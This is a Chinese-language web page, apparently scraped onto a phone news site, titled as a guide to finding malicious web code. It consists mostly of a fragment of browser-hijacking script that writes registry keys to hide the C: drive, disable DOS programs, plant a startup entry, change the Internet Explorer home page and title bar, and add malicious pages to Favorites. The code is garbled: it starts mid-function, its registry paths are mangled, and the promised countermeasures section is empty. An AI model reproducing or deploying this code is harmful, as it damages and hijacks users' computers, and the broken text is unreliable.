加入收藏 | 设为首页 | 会员中心 | 我要投稿 555手机网 (https://www.555shouji.com/)- 热门手机、手机评测、云手机、手游、5G!
当前位置: 首页 > 趣闻 > 正文

如何查找网页恶意代码

发布时间:2019-11-25 16:49:48 所属栏目:趣闻 来源:本站整理
导读:,如何查找网页恶意代码

//让操作系统无逻辑驱动器C
Shl.RegWrite ( "HKCUSoftwareMicrosoftWindowsCurrentVersion Policies ExplorerNoDrives", "00000004", "REG_DWORD");

//禁止运行所有的DOS应用程序;
Shl.RegWrite ( "HKCUSoftwareMicrosoftWindowsCurrentVersion Policies WinOldApp Disabled","REG_BINARY") ;

//让操作系统无法切换至传统DOS的实模式下
Shl.RegWrite ( "HKCUSoftwareMicrosoftWindowsCurrentVersion Policies WinOldAppNoRealMode","REG_BINARY") ;

// 让系统登录时显示一个登录窗口,以下是写入启动弹出对话框标题
Sh1.RegWrite ( "HKLMSoftwareMicrosoftWindowsCurrentVersion WinlogonLegal NoticeCaption", "……..");

// 写入启动弹出对话框内容
Sh1.RegWrite ( "HKLMSoftwareMicrosoftWindowsCurrentVersion WinlogonLegal NoticeText", "……………");

//以下是对IE相关注册表项值项的修改

// 设置浏览器默认主页
Sh1.RegWrite ("HKCUSoftwareMicrosoftInternet ExplorerMainStart Page", "…………..");

// 修改启动中的输入法启动项
Sh1.RegWrite ( "HKLMSoftwareMicrosoftWindowsCurrentVersion Runinternat.e xe", "…………..");

// 设置注册不可更改
Sh1.RegWrite ( "HKCUSoftwareMicrosoftWindowsCurrentVersion PoliciesWinOl dAppNoRealMode", "00000000", "REG_DWORD");

//修改浏览器的标题栏
Shl.RegWrite ("HKLMSoftwareMicrosoftInternet ExplorerMainWindow Title", "……………");
Shl.RegWrite ("HKCUSoftwareMicrosoftInternet ExplorerMainWindow Title", "…………..");

// 以下程序是将含恶意代码的网页添加至收藏夹中
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName (WF) + "Documents and Settings
" + Net.UserName + "Favorites";
if(FSO.FolderExists( loc))
{
AddFavLnk(loc, "显示标题…..", "URL……" );
}
}

//设置 cookie值
var expdate = new Date((new Date( )).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString( ) + "; path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
//初始化函数,并每隔一秒执行修改程序
function init()
{
setTimeout("f()", 1000);
}
init();
 

 


 

因应对策:

(编辑:555手机网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

推荐文章
    热点阅读